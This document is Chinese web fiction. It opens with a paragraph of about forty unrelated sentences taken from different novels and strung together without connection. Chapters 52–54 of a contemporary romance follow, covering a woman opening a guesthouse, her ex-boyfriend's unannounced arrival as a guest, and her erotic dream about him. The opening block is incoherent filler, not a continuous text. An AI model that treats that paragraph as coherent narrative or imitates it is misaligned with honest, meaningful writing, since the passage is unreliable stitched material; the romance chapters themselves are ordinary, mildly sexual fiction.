没有了嘴,男人仅剩的一颗眼珠还在眼眶里转动,死死盯着他们这些靠近的人,从不断抽搐的脸部肌肉看,男人还有神志,他还能认出面前的这些同伴。 顾非寒和凌义成将灵正县的家里里外外都打扫一遍,用酒精给常年没住人的家里细致地消了两遍毒,又将所有被褥抱出来晒透,锅碗瓢盆也是一通洗刷。 想了那么多礼物,要么在这个年代还没出现,要么就是不合心意,可以说是相当为难了。 突然,瞿祎想到杂物间的墙纸后隐藏的大镜子,顿时有些慌了,难不成自己穿越进入了镜子中的世界。 顾尚卿回来后,感念他不在的时候,苏芷儿对顾家的照顾,同时因立了大功,再次升职,也有资本提亲了,才正式去苏府提了亲。 她已经知道李景的用意了,这位来自蓝星的第一玩家,定然又是想如之前艾丽安给她讲述的前两次试炼游戏里那样隐于幕后,拨动棋盘,操控天下。 既然她已经身死,就应该去该去的对方,而不是重新投胎到她父母的身上。 夏知了倒是想问他什么时候把镯子给自己,可问了也是白问,他一定是说等解药制好的。 随着歌剧的结束,坐在最前方的斯图加特陛下率先鼓起了掌,语气之中满是赞赏之意。但值得注意的是,他忽然将自称换做了“余”,换做了平日里身为帝王时的自称。 在正规比赛中都不允许使用第三方工具地,包括官方助手软件,所以只能用人物脑来记下有用地讯息。平时用盒子助手之类地软件没事,但不能产生依赖心理,否则在比赛地时候多少会感到不适应。 在给她洗完澡,换上了一套干净的衣服后,发现她依旧没有醒来,她顿时便慌了神。 齐辉表示,所有谈判的细节由董总和章总负责,有什么生活上的问题找办公室主任琳琳解决。好容易把他们送走,齐辉马不停蹄的离开了公司。 星系外围,叶天已经被攻击,一道道战舰上的各种武器不要命地向着叶天打开,而最为严重的,则是那一道虚无的波动,来自五级科技武器【扭曲】的攻击。 “速度不够”厄云意识到了自己的不足,被魔十二追杀也是速度不够,才逃不了。 南星雨虽带有狐疑之色,但还是接通通讯玉,没过几息,通讯玉另一头就传出一道浑厚如钟的男人声,而且听起来感觉十分熟悉。 眼看着敌人距离他们的要塞阵地越来越近,隆巴尔脸上的神情,并没有显露出太多的慌张。 神族上单仍是发挥着自己为数不多的蓝领之光,以坚决的心情计划持续拿出歪曲树精去维护队友。 论妖力境界,在百鬼之中, 明显超过茨木童子的大妖不是没有,最直接的一个例子,就是玉藻前自己。 其实她心里也说不准,毕竟肖森这人老奸巨猾,警惕心这么高,肯定不会没有准备。 “只要娘子能治我祖父之疾,诊金无论多少任由开价。”楚长秦谦诚道。 从先进性上来讲,这种设定应该代表了动画业界某种“畸形”的前进方向……吧? “你觉得我好看吗?”连彤踩着高跟鞋走上前,黑夜里,高跟鞋发出‘噔噔噔’的声音。 所以当北海军团与四十三军的动向传到中洲的时候,最先感到慌乱的并非是荒漠监狱和北海行省的民众,最先乱起来的反而是中洲上层建筑中的那些领袖们。 大儿子站在这里,他和秦微白都有些别扭,可真的走了,又有些舍不得,总之就是情绪有些混乱,这种心态,如果硬着头皮接触的话,谁都会很别扭。 陆闫赫看着她的笑容,只觉更加头晕目眩,感觉自己几乎都要沉醉在里面了。 “长安四十八万军民,多少贵族官员士子,仅是国子监就有生员八千多人。”做为曾经执政的退休老宰相,褚遂良当然清楚长安有多不一样,这里汇聚了天下的财富,同时也汇聚了天下的精英。 最起码,这意味着以往出动一个破晓就能让对方无比狼狈的情况已经不存在了。 阿九心中感慨,跟聪明人说话真是省力,看来以后锦绣行这摊的事情应该不用自己操多大的心,如果顺利的话,源祥记也应该离自己不远了吧? 乐乐,那天晚上从西湖出来,在分别的时候,我清楚地记得你哭了。你说,离别就该伤感一点,这样才浪漫。你还告诉我,如果想你了,只要抬起头看到夜空中那颗最亮的星星,你就会在同一时刻感受到我的思念。 “不错,勇气只能增强士气,但解决不了实际问题。但我之所以有这个勇气,是因为我具备挑战所谓强者的实力。我可以把敌我双方的真实情况详细给二位作一个对比。 “好好好!我去!我去!”我并不愿承认自己喜欢上了黄欣,或许正如林杰所言,我只是爱上了她的背影。 泽金哈哈一笑,然后对着洪浩说道:“谢谢。”说罢伸出了自己的左手。 就在这时,四声凄厉的吼叫声从四座高塔中传来,战斗中的恶魔顿时像是发了疯一样,变得更加凶猛更加狂暴。 他想了想还是回了家,果然,秦素没有休息,她坐在客厅里,好像一直在等他。 还以为几人要说点什么,竟然一张嘴就是魔道、正道的,杨冲心中有些失望。不过杨冲还是提起精神用玄铁剑对准四人,不管如何,大家知道都是对方的敌人就行。 一想起第一次见到童恩时她脸上空洞的眼神和无声的泪水,季思明就觉得心疼。 在乐乐的怂恿下,我们没有参加班级组织的联欢晚会,而是悄悄从后门溜出教室,来到了行政楼顶的露天平台。 第52章 下个月订婚 边雨棠第二天就去医院预约了流产手术,一个人悄悄把孩子打了。 她娘家远,家里母亲也已经去世,父亲另娶生子,谁都靠不住,打完胎,她又一个人回到了工作室休息,谁也没说。 温昭宁知道这件事情后,心疼地红了眼眶。 “嫂子,你去医院为什么不叫上我,我虽然帮不上什么忙,但我至少可以陪着你啊。” 边雨棠摇头:“你陪我去捉奸,姚志修已经恨上你了,要是连打胎都让你陪我去,以后姚家人都会恨你,我不能拖累你。” “姚家除了姚志修,没有不明事理的人,他们要恨,也只会恨姚志修不争气。” 温昭宁回去就把姚志修出轨的事情告诉了舅舅舅妈,舅舅舅妈当天晚上就把姚志修打出了家门,一家人赶去工作室,把边雨棠接回家里。 两老更是放话,他们只要儿媳和孙子,姚志修在外面爱和谁过和谁过,他休想带着小三踏进家门一步。 姚志修在家门口苦求一夜,都没有人去理他。 边雨棠原本已经做好了独自面对这一切,她见公公婆婆这样支持她,才敢释放情绪,痛哭了一场。 “雨棠,你别哭,小月子也是月子,哭坏眼睛不值得。”温昭宁的母亲姚冬雪给边雨棠炖了鸡汤送去,她嘴上安慰边雨棠,自己却不停地抹着眼泪,“志修真是被猪油蒙了心,竟然做出这种事,你放心,我们都支持你离婚,离了婚,这里还是你的家,我们也都还是你的家人!” “谢谢姑姑。” 边雨棠休息了一周,一周后,她和姚志修去民政局领了离婚证。 姚志修起初死活不肯,死乞白赖地求着边雨棠不要离开他,甚至把十年前自己写给边雨棠的情书都去翻出来了。 他越是这样,边雨棠越是恨他:“姚志修,你也知道,我们这么多年感情!可你还是负了我,负了这个家,迟来的深情比草贱,我这辈子都不会原谅你!” 姚志修见边雨棠实在坚决,这婚明显是非离不可了,他又提出要平分边雨棠的财产。 这些年,边雨棠靠自媒体赚了不少钱,姚志修原本能沾老婆的光,衣食无忧,可一旦离婚,老婆这边捞不到好处,爹妈也要把他赶出了家门,他就真的什么都没有了,姚志修当然要为自己的未来做打算。 “你还想分我的钱,你别做梦了!”边雨棠甩出手机里的姚志修和那个女人酒店开房的照片,“如果你还敢在离婚这件事情上动歪心思,我就拿着这些照片闹到你单位去,到时候,别说钱你分不到,工作你也别想保住!” 这下,姚志修彻底老实了。 一个月的离婚冷静期后,边雨棠顺利拿到了离婚证,恢复自由的那天,她约了温昭宁夜宵。 这一个月里,民宿开始正式翻新,温昭宁忙得不可开交。 她每天天不亮就去现场,和本地的施工师傅沟通细节,为了省钱,她不仅要亲自去市场购买材料,还要货比十家。除了这些最基本的事情,每天意想不到的麻烦也是格外多,什么房梁有虫蛀,天井排水不畅等等等等。 人手不够,温昭宁就自己亲自上手。 这一个月,她已经学会了使用切割机和磨光机。 自媒体这一块,也耗费了温昭宁不少心力,她总觉得常规拍摄记录不够,每天都在寻找和钻研新的切入角度和主题。 晚上回到家,把青柠哄睡之后,温昭宁就开始将视频素材导入电脑,剪辑、配音、写稿,发布到社交平台上。 这样连轴转了一个月,身体的疲惫尚可忍受,最让她感觉到压力山大的是钱。 当初买下房子,已经耗去了她部分的积蓄,这一个月来的人工费、材料费和各种零零碎碎的支出,都如同无底洞,每天都在吞噬着她账户里所剩不多的余额,看着银行卡上越来越少的数字和记事本上那一长串的“待支付”清单,温昭宁焦虑地睡不着觉。 今天边雨棠打电话约她的时候,她正好在咨询贷款的事情。 “宁宁,你看,我拿到离婚证了。”边雨棠将离婚证亮出来,有种打了胜仗的感觉,这一个多月里,她已经逐渐对曾经美好的感情和失去的那个孩子释怀,也逐渐和拧巴钻牛角尖的自己和解。 “我今天找你,是想让你陪我一起庆祝离婚的。”边雨棠说。 庆祝离婚。 温昭宁忽然想起了贺淮钦。 去年的这个时候,贺淮钦也曾和她一起庆祝离婚。 为了给她庆祝离婚,他还特地翘了班,那是他们重逢后的第一次…… 她已经很久没有特意想起他了,或者说,忙碌就像是一层厚厚的海绵,将她所有的回忆都吸了进去,暂时封存,这会儿忽然想起,痛感也没有之前那么清晰了。 时间果然是最好的疗愈大师。 “恭喜你嫂子……哦,不对,恭喜你,雨棠姐。”温昭宁举起啤酒杯,和边雨棠碰了碰杯,“恭喜你重获自由。” “谢谢宁宁,这段日子,多亏你陪着我。” “雨棠姐,其实有件事情,我一直没和你坦白。” “什么?” “过年的时候,我就看到表哥和那个女人在手镯店,当时我纠结了很久,最后表哥再三保证和和她断干净,加上你又怀孕了,我就没有告诉你。” 边雨棠一愣,随即摇头:“我理解,没关系,一切都过去了,无论怎么样,我都要谢谢你们,一直站在我这边。” 两人边喝边聊,聊着聊着,边雨棠问起了民宿的事情。 “民宿那边,最近怎么样了?” 温昭宁简单地说了说近况,缺钱的事情,也没有瞒着边雨棠。 边雨棠听她说完,想了想,忽然语气郑重地说:“宁宁,我看好你的项目,我想和你合作。” “合作?” “对。我这几年,也存了一些钱,我想用我的积蓄,入股你的民宿。” 这对温昭宁来说,简直就是一场及时雨。 “雨棠姐,你真的想好了吗?我这民宿,将来能不能赚钱还是个未知数。” “我相信你,你不用有任何压力,就算赔钱,也是我自己的选择,而且你那么努力,我觉得你一定会成功的。” 边雨棠的信任,让温昭宁感动地流下了眼泪。 这不仅仅是钱的问题,更是两个同在人生低谷却想要向上生长的女人相互扶持的勇气和决心。 -- 边雨棠的加入,大大减轻了温昭宁的负担,不止是经济上的负担,更是心理上的负担,温昭宁顿觉没有之前那么焦虑了。 两个人每天有商有量,解决各种各样的困难和问题。 六个月后,民宿翻新成功,温昭宁的自媒体账号,也有了不小的起色,半年内,她的粉丝数从零涨到了十五万。 民宿完工的那天,温昭宁心头的一块大石落下,她自己给自己放了一天假,带着青柠去游乐场玩了半天,剩下的半天留给自己休息放空。 正好,那天也是苏云溪的生日,温昭宁给她订了蛋糕和花。 苏云溪感动地立刻打来视频电话。 “姐妹,还得是你,谢谢宝贝!” “不客气溪溪,祝你生日快乐,。” 两人一聊话匣子就关不上了,聊了一个多小时后,苏云溪忽然问她:“宁宁,你最近有听说贺淮钦的消息吗?” “没有。”温昭宁停顿了一下,试探着问了一句:“他还好吗?” “他下个月订婚。” 贺淮钦下个月要订婚了。 温昭宁立在窗口,心头好不容易归于平静的湖泊,在这一刻仿佛被投入了一块巨大的陨石。 轰然巨响后,不是尖锐的疼痛,也不是汹涌的悲伤,而是从心脏深处传来的更沉、更钝重的震荡。 原来那些她以为被时间稀释了的情绪,并没有消失,它们只是蛰伏着,等待一个猝不及防的瞬间,卷土重来,比如此刻,她听到贺淮钦真的要订婚的消息,她还是,很难过。 电话对面的苏云溪似乎感受到了温昭宁的情绪,连忙道歉:“对不起啊宁宁,你看我这嘴,我不该乱说话的,咱不提他,咱以后都不提他了。” “没事啦。”温昭宁笑了笑,“我还以为他早就已经订婚了呢。” -- 其实这半年里,贺淮钦的大部分时间都在国外处理海外的项目,他从来没有同意过和沈雅菁订婚的事情,只是上周,沈雅菁的母亲林以真再次病重入院,贺淮钦前去探望时,林以真拉着他的手,哭着说自己时日不多了,临终前希望能看到他和沈雅菁订婚,这样就算去了天上,也好和丈夫沈仲蔺有个交代。 老人情真意切,贺淮钦难以拒绝。 他思索过后,点头同意了。 反正,他心里那片为某个人炽热跳动过的地方,已经彻底冰封死去了,既然心已经死了,那么和谁结婚对他来说都一样。 贺淮钦决定和沈雅菁订婚后,做的第一件事情,就是将他位于市中心的那栋洋房别墅挂牌出售。 这是他和温昭宁同居过的房子,这里承载了太多他们的甜蜜回忆,他必须要用这种彻底割裂物理空间的方式,来斩断对她的情丝。 周一,陈益安排了专业的搬家团队和家政人员去别墅清理和打包。 在清理卧室的时候,一位家政人员在床头柜的抽屉里发现了一个包装精致的深蓝色丝绒盒子。 这看着明显是一份未拆的礼物,家政人员不知道怎么处置,便去请示陈益。 “陈先生。”家政工作人员将盒子递给陈益,“这是我在卧室的床头柜里发现的,好像是一份礼物,还没拆,要一起打包清理掉吗?” 陈益的视线落在那只丝绒盒子上,盒子没有任何的品牌LOGO,但是质感颇佳,他拆掉了捆绑的丝带,打开看了一眼。 盒子里,是一对袖扣。 袖扣的主体是墨蓝的珐琅,边缘镶嵌着一圈纤细的古巴链纹,纹路精细,看着低调又贵气,袖扣边上,卡着一张小小的便签。 【To:贺淮钦 生日快乐。 ——温昭宁】 日期,是去年贺淮钦生日的那一天。 陈益立刻意识到,这是温昭宁去年送给贺淮钦的生日礼物,可是既然是去年的生日礼物,怎么看着像是没有打开过呢? 难道,老板没有收到? 还是收到了没有拆? 事关温昭宁,陈益不敢疏忽。 毕竟,他最清楚贺淮钦分手的这半年是怎么度过的。 这半年,贺淮钦彻底变成了没有感情的工作机器,他的日程表精确到分钟,且永不空档,睡眠时间被压缩到了生理极限的底线,咖啡和浓茶成了他维持“运转”的主要燃料。 陈益作为离贺淮钦最近的人,他知道这不是一个工作狂的正常状态,老板这是在用近乎自虐的工作强度,填满所有清醒的时间,不留一丝空隙去感受分手后那巨大冰冷的空洞,他在逼自己,不去想那个离开的人。 老板越是这样,就越是证明,他没有放下,也越是证明,温昭宁对他有多重要。 陈益拿着盒子走到窗户边,拍了张照片,发给贺淮钦。 贺淮钦这会儿正陪着沈雅菁在医院看望林以真,收到陈益的信息,他微顿了几秒后,快步走出病房。 “淮钦哥,你去哪儿?”沈雅菁瞥见了陈益的信息内容,想要拉住他,却没有够到他的手。 “我去打个电话。” “可是……” 贺淮钦已经大步出去了,他的背影决绝而冰冷。 沈雅菁的表情,瞬间垮了下去,这个温昭宁,真是阴魂不散,分手了还不消停! 两分钟后,陈益接到了贺淮钦的电话。 “哪里找到的?”贺淮钦开门见山。 “家政在卧室床头柜的抽屉里找到的。” “哪边床头柜?” “左边。” 左边是温昭宁惯睡的那一侧,她那边的床头柜,一直放置着她的东西,贺淮钦从来没有打开过那一侧的抽屉。 “我马上过来,让他们所有人都停止清理和打包。” “是,贺律。” 第53章 祝你好梦 温昭宁和边雨棠将民宿取名为“安宁小院”,八月的第一天正式开业。 小院的院门上,挂着由温昭宁亲自书写的招牌,她小时候学过几年书法,四个字写得流畅有力。 推开厚重的原木大门,迎面就是精心打理过的庭院,小院中翠竹、假山、流水、秋千,与周围的自然风光完美融合,一步一景,充满了中式禅意美学。 民宿有八个独立的房间,分别以“听竹”、“映湖”、“观山”、“闻莺”等意境命名,每个房间都最大限度地保留了原有的木梁结构,配备现代化的地暖、智能卫浴和高品质床品,并且,每个房间都拥有独立的观景阳台或者小露台,推窗即景。 一楼二楼的公共区域设有茶室、书斋和一个小型的露天咖啡吧,装修时考虑到客户的出片心理,每一个细节都充满了小巧思。 开业的第一天,温昭宁穿一身素雅的浅青色改良旗袍,长发松松挽起,温婉又干练,她和边雨棠、前台的鹿鹿和保洁阿姨,早早来到民宿,做最后的检查和布置。 为了今天的开业,温昭宁前几天专门剪辑了一期视频,介绍她们的民宿,从荒芜的老房子到如今的安宁小院,时间线横跨大半年。 她的镜头里,有老师傅用传统榫卯技艺修复门框的特写,有她自己第一次尝试搅拌石灰的笨拙模样,有院子里那株石榴树抽出第一点新芽的瞬间,也有傍晚夕阳将老墙染成金色的温暖画面…… 视频一经发布,就点赞过万,也正是这个视频的预热引流,开业第一天,订房的订单接踵而至,上午九点,当天的房间就全部预定了出去,甚至有一位客户,直接订了一个月。 温昭宁和边雨棠一整天都忙得脚不沾地,她们穿梭在院落、前台、咖啡吧之间,招待客户,解答客户的问题,拍摄视频素材……虽然身体疲惫,但她们脸上的笑容始终温暖明媚,透着一股被认可的成就感和忙碌的充实感。 这一刻,民宿装修筹备期的辛苦和先前所有对未来不确定的担忧,都成了云烟。 晚上九点,小院里最后一波围炉夜话客人上楼休息后,大堂里终于安静了下来。 温昭宁揉了揉发酸的脖颈,刚在前台的高脚凳上坐下,想核对一下今天的账单,前台的电话忽然响了起来。 “你好,安宁小院。”前台鹿鹿接起电话。 温昭宁没有太在意,低头翻看着单据,鹿鹿忽然抬手拍了拍温昭宁的胳膊。 “昭宁姐。”鹿鹿捂着听筒,转向温昭宁,压低了声音说:“订了观山房一个月的那位客人陈先生,他说他在镇上迷路了,车也不巧地抛锚了,他指名要你去接他。” 温昭宁一顿:“指名要我去接?” “嗯,他说他是你的粉丝,关注你的账号很久了,这次过来,就是为了见你的。” 这件事听着有点蹊跷,但开店做生意,客人永远是第一位的。 温昭宁想了想后,对鹿鹿说:“你问一下陈先生的具体位置,记下来。” “好。” 鹿鹿把那位陈先生所在的具体位置写在了笔记本上,递给温昭宁,温昭宁将地址输入导航app,发现是在距离民宿六公里的一个岔路口。 她拿上车钥匙,对鹿鹿说:“走,你和我一起去。” 这大晚上的,她可不敢单独一个人开车去接一位男性客户。 “好,我正想说呢,我和你一起去,万一有什么事,也好有个照应。” -- 天已经黑透了,温昭宁带着鹿鹿坐上了小院门口那辆白色的SUV,这辆车是边雨棠的,边雨棠平时不怎么开,她把备用钥匙给了温昭宁一个,让她随用随取。 正好,这段时间民宿事情特别多,温昭宁每次采购,都是开着这辆车去镇上,一开始不太熟悉,现在已经逐渐上手了。 “昭宁姐,迷路和车抛锚,这两个理由怎么听怎么蹩脚,你说,这位陈先生不会是个什么变态吧?”鹿鹿是个二十刚出头的本地姑娘,活泼开朗,说话直来直去的,“等下我们一定要时刻保持警惕,如果那个人真的敢对你图谋不轨,我们就直接报警,绝不轻饶他!” 温昭宁笑:“好。” 车子开了约莫二十分钟,绕过一道急弯后,车灯照亮了前方一片相对开阔的坡地,坡地旁边,停着一辆与周边环境格格不入的豪华越野车,车子通体漆黑,线条冷硬,越看越眼熟。 这怎么这么像贺淮钦那辆大G? 白色SUV绕到前面时,温昭宁看清了那辆黑车的牌照。 果然,是贺淮钦的车。 温昭宁的心瞬间漏跳了一拍。 “哇!大G!哇!大帅哥!”鹿鹿坐在副驾驶座上,一眼就看到了倚在车边的那个挺拔的身影。 男人穿着深灰色的风衣,身高目测188以上,腿比她的命都长,那张脸更是帅得无法无天,昏暗的光线下,他眼眸深邃,鼻梁高挺,薄唇紧抿,即便只是静静地站在那里,也自带一种与这荒郊格格不入的清贵气场。 “先生,我们是安宁小院的,是您打电话需要接应吗?” 温昭宁刚把车停稳,鹿鹿已经迫不及待地解开安全带下车,热情地跑过去打招呼了,也不知道是谁刚才来的路上说要时刻保持警惕的,这一看到帅哥,彻底忘本了。 贺淮钦见朝他跑过来的是一个陌生的女人,眼神下意识绕开她,望向了那辆亮着车灯的SUV。 驾驶座上的温昭宁,在触到贺淮钦视线的刹那,大脑一片空白。 怎么会是贺淮钦订了民宿房间一整个月? 他为什么会来这里? 明明是他说的,让她再也不要出现在他的面前,那现在他出现在她的面前算怎么个事? 震惊、错愕、难以置信……各种情绪如同乱麻,瞬间缠住了温昭宁的思绪。 鹿鹿见这位帅哥客户一直看着温昭宁的车,赶紧伸手敲了敲车窗,疯狂眨眼示意温昭宁下车和民宿的第一位大客户打招呼。 温昭宁犹豫了一下,还是立刻压下心中惊涛骇浪,调整好情绪下了车。 “陈先生,你好,感谢你对我们民宿的支持,这么晚了,还让你在这里久等,真是不好意思。”温昭宁声音清亮悦耳,又保持着恰到好处的职业距离,“无论怎么样,都欢迎你!” 她朝贺淮钦伸出手,姿态落落大方,眼神丝毫没有波澜,就像是看着一个初次见面的陌生人。 贺淮钦见她装作不认识自己,两秒微愣后,妥协着自我介绍:“我姓贺,民宿的房间是我助理订的。” “哦,原来是贺先生啊,抱歉,是我搞错了。” “没关系。” 贺淮钦伸手,正要去握住她的手,温昭宁的手却一个转弯,撤回了。 “夜里风凉,贺先生,你赶紧先上车吧,我来安排拖车。”她撤回的手又恭敬地对他比了个“请”的手势,丝滑到让人指不出错处。 贺淮钦默默收回了手:“你不用安排拖车,会有人过来处理。” 温昭宁也不知道他的车是真坏了还是假坏了,只应了声:“好。” 三人上了车,鹿鹿还是坐在副驾驶座,贺淮钦带着他的行李箱去了后座。 SUV其实挺宽敞的,可温昭宁总感觉多了一个贺淮钦后,空间好像一下子逼仄了起来,他身上那股若有似无的清洌冷香,时不时钻进她的鼻间,搅得她心神不宁。 鹿鹿没察觉温昭宁的异样,她只是兀自沉浸在遇到帅哥的兴奋中。 “贺先生,你订了我们小院的房间一个月,是来玩吗?” “有事。” “你刚才在电话里说你是我们昭宁姐的粉丝,你平时也喜欢刷短视频吗?” “偶尔。” “哇,你偶尔刷一刷都能刷到我们昭宁姐,真是太有缘分了!” 贺淮钦不语,目光掠过开车的温昭宁。 她全程目不斜视,也不开口,只顾专心地开车。 半小时后,车子开回了民宿。 “鹿鹿,时候不早了,你先送贺先生去楼上休息,明天再办入住好了。”温昭宁交代完鹿鹿,转头对贺淮钦露出一个标准又官方的微笑,“贺先生,你早点休息,祝你好梦。” 她说完,又对着楼道方向比了一个“请”的手势。 “贺先生,请吧,我送你上楼。”鹿鹿热情地想要帮贺淮钦拎行李箱。 贺淮钦挡开了鹿鹿的手。 “不用,我自己来。” 他拎起自己的行李箱,一步一步拾级而上。 鹿鹿边走边为他介绍观山房的特色,贺淮钦只是淡淡地点了点头。 温昭宁看着他的背影消失在楼道拐角,心头阴云笼罩。 天啊,她的民宿开业第一天,怎么迎来这么一尊大佛? -- 鹿鹿送完贺淮钦下楼,整个人的兴奋劲儿还没缓过去。 “昭宁姐,这位贺先生真的好帅啊,我只有在电视上看到过这么高颜值的男明星,我从来没有在现实中看到过这么帅的男人,啊呀,今晚做梦有素材了。” 温昭宁笑着拍拍鹿鹿的肩膀:“那你赶紧下班回家做梦去吧,今天忙碌了一天,辛苦你了。” “不辛苦不辛苦,一想到贺先生要在我们民宿住一个月,我上班都更有动力了。” “行了,赶紧回去吧,路上注意安全。” “没事,走路五分钟都不用。” 鹿鹿走了,温昭宁继续坐到前台的位置去理账。 她今天值班。 现在民宿刚开张,人手还不足,她和边雨棠商量过了,她们两个人先自己顶一阵,省点开支,后面生意好的话,再招人。 夜深了,民宿大堂里只留下几盏暖黄的壁灯。 温昭宁坐在前台,将手机里的拍摄素材导入电脑,今天她拍了很多视频,她打算先整理一下,再剪辑,到时候做个开业特辑。 手机刚开始传送文件,就听楼道里传来了沉稳有力的脚步声。 温昭宁抬起头,循声望去,看见贺淮钦正从楼上下来。 他显然刚洗过澡,穿着一身黑色的真丝睡衣,睡衣面料极好,裁剪宽松而垂坠,V领开得恰到好处,露出脖颈的线条和性感的喉结。 温昭宁根本不想理他,可谁让他是客户呢,她不能视而不见,只能站起来打招呼。 “贺先生,这么晚了,你还不休息吗?” “这里有吃的吗?”贺淮钦开口,“我还没吃饭。” 他昨天飞了一趟首尔,今天匆忙赶回来,落地就来悠山了,从下午到现在,没吃过任何东西。 “我们这里有早餐、午餐和晚餐,但是,现在已经过了晚餐的点了,抱歉,没有吃的了。”民宿又不是二十四小时餐厅,这个时间,厨房早已熄火。 “这里能叫到外卖吗?” “不能。” 贺淮钦眼巴巴地看着她。 温昭宁无奈,她从抽屉里拿出两包泡面,这原本是她给自己备着的。 “如果你不介意的话,我们有小厨房,我给你下碗泡面你看怎么样?” “好,麻烦你了。” “不麻烦。”温昭宁皮笑肉不笑。 毕竟是付了一个月房钱的大客户,人家第一天来,总不能让他饿着肚子睡觉。 温昭宁转身走向民宿后方的开放式小厨房,贺淮钦很自然地跟在她身后几步远的地方,像一道沉默但存在感极强的影子。 冰箱里还有一把小青菜和两个鸡蛋,温昭宁一并给他下在面里了。 泡面很快煮好,温昭宁将煮面的小圆锅一整个端到了大厅的原木桌上。 “你等一下,我给你拿双筷子。” 她转身小跑进厨房,又给他拿了双木筷子过来。 贺淮钦伸手去接筷子的时候,两个人的手指猝不及防地碰触到一起。 温昭宁的手指微凉,而贺淮钦的指尖温热。 一瞬间的接触,极其短暂,只是皮肤与皮肤之间最轻微的擦碰,却像一道微弱的电流,倏然从相触的指尖窜起,顺着经脉,直抵温昭宁的心脏。 她像是被烫到了一般,猛地缩回了手,脸上的表情也瞬间变得疏离起来。 “贺先生,你慢吃,有事叫我。” 第54章 荒唐的梦 贺淮钦还是头一次端着锅吃泡面。 端锅吃面,是温昭宁的习惯。 之前同居的时候,他好几次回家,看见温昭宁端着一口小奶锅,坐在客厅的地毯上,对着电视机里无聊的综艺节目,小口小口地吃着面。 他问过她一次,为什么不用碗? 她当时正埋头吃面,闻言抬起头,回答得理所当然:“因为不想洗碗啊,用锅吃面,吃完只用洗一个锅就好了,用碗的话,还要多洗一个碗,多麻烦啊。” 就是那天之后,贺淮钦找了个家政阿姨来家里…… 民宿的壁炉里,柴火噼啪作响,空气里弥漫着松木燃烧的清香和泡面的香气。 温昭宁闻着泡面的味道,也有些饿了,她从前台的盘子里,拿了一颗小果糖,剥开糖纸,抿进嘴里。 贺淮钦余光瞥到她的动作,抬头朝她看过去。 “你是不是也饿了?”他问,“要不要匀你一点?我还没吃。” “不用了贺先生,我夜里不吃泡面。” 她说完,继续低头去盯着电脑屏幕。 贺淮钦一边漫不经心地用筷子搅动着锅里的泡面,一边咀嚼着她反复提及的那个生疏的称谓“贺先生”,看来,她是铁了心地装作不认识他了。 温昭宁的视频导完,贺淮钦也吃完了面。 她见他端着锅站起来,连忙说:“贺先生,你放着吧,我来收拾。” 贺淮钦像是没听到,端着锅径直走进了小厨房,温昭宁转身的时候,他已经打开了水龙头,微微躬身,就着水流用海绵仔细地擦拭着锅壁。 他背对着她,睡衣的袖子挽起,小臂肌肉随着用力的动作微微绷起,线条流畅又充满力量感。 这个背影,有一瞬间让温昭宁产生了错觉,好像他们还一起生活在那个家里,从未分开过。 “你……” 算了,他爱洗就让他洗吧,反正她最讨厌洗锅碗瓢盆了。 温昭宁转回身,重新坐到电脑前,就在她落座的刹那,她的笔记本电脑忽然蓝屏了。 怎么回事? 温昭宁太阳穴一跳,立刻尝试重启,但屏幕依旧卡在那个蓝色的界面。 不会吧不会吧!她刚刚上传了那么多的视频,不会都没有了又要重新上传吧? 她用力按向重启键,动作多了几分焦躁。 贺淮钦正好从厨房出来,看到她拧着眉好像要和电脑干架的样子,便问:“怎么了?” “没怎么。”温昭宁不想和他有过多牵扯,只想他赶紧上楼别在她眼前招她心烦。 可她话音刚落,电脑屏幕再次跳出一片明晃晃的蓝。 贺淮钦看到了,他走到她身边,很自然地接过了她手里的笔记本电脑。 “我看看。” 他的目光沉静地扫过错误代码,修长的手指在键盘上快速按下几个功能键后,电脑的蓝屏消失了,取而代之的是安全模式界面。 贺淮钦又检查了几个系统关键项,调出事件查看器。 温昭宁见他操作熟练,本着学习的态度,凑近去看他的修复步骤,谁知她刚一靠近,贺淮钦正好低头,两人在一个极其微小的角度里,发生了精准又意外的交汇——他的唇,极轻柔地擦过她头顶的发丝。 那一瞬,温昭宁只觉得像是有一片滚烫的雪花,落在了她的头顶。 她的身体,因此产生了清晰无比的颤栗。 贺淮钦的动作也顿住了。 他闻到温昭宁的发香,是荔枝玫瑰的味道,那香气蛊惑着他,让他恨不能直接扔下电脑,搂住她吻个痛快。 可他还没来得及有下一步动作,温昭宁先防备地退开了。 穿堂风过来,吹散了他们之间粘稠、暧昧的空气。 “我的电脑……好了吗?”她问。 “好了,应该只是某个驱动临时冲突,我在安全模式下清理了一下缓存和临时文件。”贺淮钦把笔记本电脑递还给温昭宁,“文件都在,你可以检查一下,不过这电脑有些老了,重要文件,以后最好定期备份。” “好的,谢谢贺先生。”温昭宁放下电脑,又换上了官方的笑容:“贺先生,很晚了,你赶紧去休息吧。” 贺淮钦当然听得出来她在赶他走。 刚过河就拆桥,真是小白眼狼,不过没关系,他有的是时间慢慢来。 “好,温老板也早点休息,晚安。” -- 后半夜,民宿彻底安静了下来。 温昭宁剪完第一段视频后,眼皮彻底撑不住了,她简单地洗漱了一下,就去了那间柴房改造的休息室里睡觉。 休息室里只有一张一米二的单人小床,但房间布置得很温馨。 温昭宁这一天累极了,她刚躺到床上,意识就变得混混沌沌,就在她以为自己即将沉入睡眠时,身上忽然一沉。 一道滚烫的身影,毫无预兆地压下来,将她密密实实地困在狭窄的床铺与他的胸膛之间。 黑暗中,她闻到了那股熟悉的清洌冷香。 是贺淮钦。 他没有给她任何反应的时间,一只大手就扣住了她的手腕,将她的手按在枕边,紧接着,那带着灼人温度的唇便落了下来,精准地攫住了她的唇。 这个吻又深又急,吮吸纠缠,密不透风。 温昭宁大脑“轰”的一声,挣扎的念头刚起,就被他霸道的吻击得粉碎,吻着吻着,她的身体先于理智做出了反应,她的手,不自觉地抬起来攀住了贺淮钦的后颈。 她的回应就像是一道开关。 贺淮钦的喉咙里发出一声低沉的喟叹,随即吻得更深入更缠绵。 狭小的空间里,温度急剧攀升,布料摩擦发出的窸窣声响和两人越来越无法压抑的喘息,在黑夜里格外清晰。 一切都脱离了掌控,只剩下这极致亲密带来的久违的感官洪流。 就在贺淮钦的吻逐渐向下,手指挑开温昭宁内衣搭扣的瞬间—— “昭宁姐!昭宁姐!” 鹿鹿的声音,像一根冰冷的针,猝不及防地扎破了这团火热粘稠的迷雾。 温昭宁身上的重量、滚烫的触感和那令人窒息的亲吻刹那间分崩离析,消失得无影无踪。 她猛地睁开眼睛。 眼前是低矮的天花板。 没有贺淮钦。 只有她自己躺在小床上。 是梦。 温昭宁拥紧了被子,想要以此排解梦醒后下身传来的那阵令人脸红的空虚悸动。 真是荒唐啊。 